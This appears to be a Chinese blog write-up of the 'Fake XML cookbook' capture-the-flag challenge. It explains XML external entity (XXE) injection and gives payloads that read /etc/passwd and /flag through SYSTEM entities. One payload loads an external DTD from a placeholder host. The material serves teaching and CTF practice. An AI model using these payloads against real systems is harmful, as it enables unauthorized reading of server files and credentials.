当前位置:网站首页>xml-xxe漏洞之Fake XML cookbook
xml-xxe漏洞之Fake XML cookbook
2022-07-23 11:18:00 【一只Traveler】
知识点:
什么是xxe
利用
XML漏洞_cjm.....的博客-CSDN博客_xml漏洞
XXE漏洞——XML外部实体注入(XML External Entity)
当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞
例1:
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>
如果以上xml代码被解析,则会返回/etc/passwd文件的内容。
例2:
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >%d;]><x>&xxe;</x>
http://xxxx.com/xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
有的小伙伴可能已经发现了,例1中实体名前面并没有%,而例2中实体名前是有%的,这里的区别在于,例1中定义的实体是通用实体,而例2中定义的是参数实体,并且参数实体只能在dtd中使用,即例2代码中的第三行 %d;,这里就像在外面引用统用实体一样,这里的%d;就引用了http://xxx.com/xxe.dtd这个文件到dtd中。
例3:
<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd"><x>&xxe;</x>
http://xxxx.com/xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
这道题:
抓包:

直接上漏洞xml实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>注意,实体是有模板的;
然后继续打开flag:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
边栏推荐
猜你喜欢

自定义封装弹出框(带进度条)

【云原生】docker环境中安装mysql、redis服务

Guangzhou held a competition for quality and safety supervisors of agricultural products in the town and street

什么是真正的 HTAP ?(二)挑战篇

Mercedes Benz new energy product line: luxury new energy market may change the pattern

超详细MP4格式分析

Xlswriter - Excel export

【攻防世界WEB】难度三星9分入门题(中):ics-05、easytornado

What is the real HTAP? (2) Challenge article
![[ctfhub] the data of JWT header and payload are transmitted in clear text. If sensitive information is contained in it, sensitive information will be leaked. Try to find the flag. Format is flag{}](/img/d0/133d628a304f5c6b5f0d514c9fe222.jpg)
[ctfhub] the data of JWT header and payload are transmitted in clear text. If sensitive information is contained in it, sensitive information will be leaked. Try to find the flag. Format is flag{}
随机推荐
在一个有序数组中查找具体的某个数字(二分查找or折半查找)
BGP routing principle
C语言经典例题-贷款余额
Part V Druid data source introduction
【Pygame实战】飞机射击大作:宇宙激战一触即发...这款超经典的射击游戏也该拿出来重启了~
[pyGame practice] playing poker? Win or lose? This card game makes me forget to eat and sleep.
C# 计算某个字符在字符串中出现的次数
VSCode 更新後與tab相關快捷鍵無法使用
Modify SSH command line[ [email protected] ]Color
16个自动化测试面试问题与解答
对专利的学习
STL map属性
AWS篇1
STL map operation
Axure advanced
BGP联邦实验
After vscode is updated, the shortcut keys related to tab cannot be used
Open source quadruped robot with design drawings and code "suggestions collection"
【攻防世界WEB】难度三星9分入门题(中):ics-05、easytornado
任务切换的细节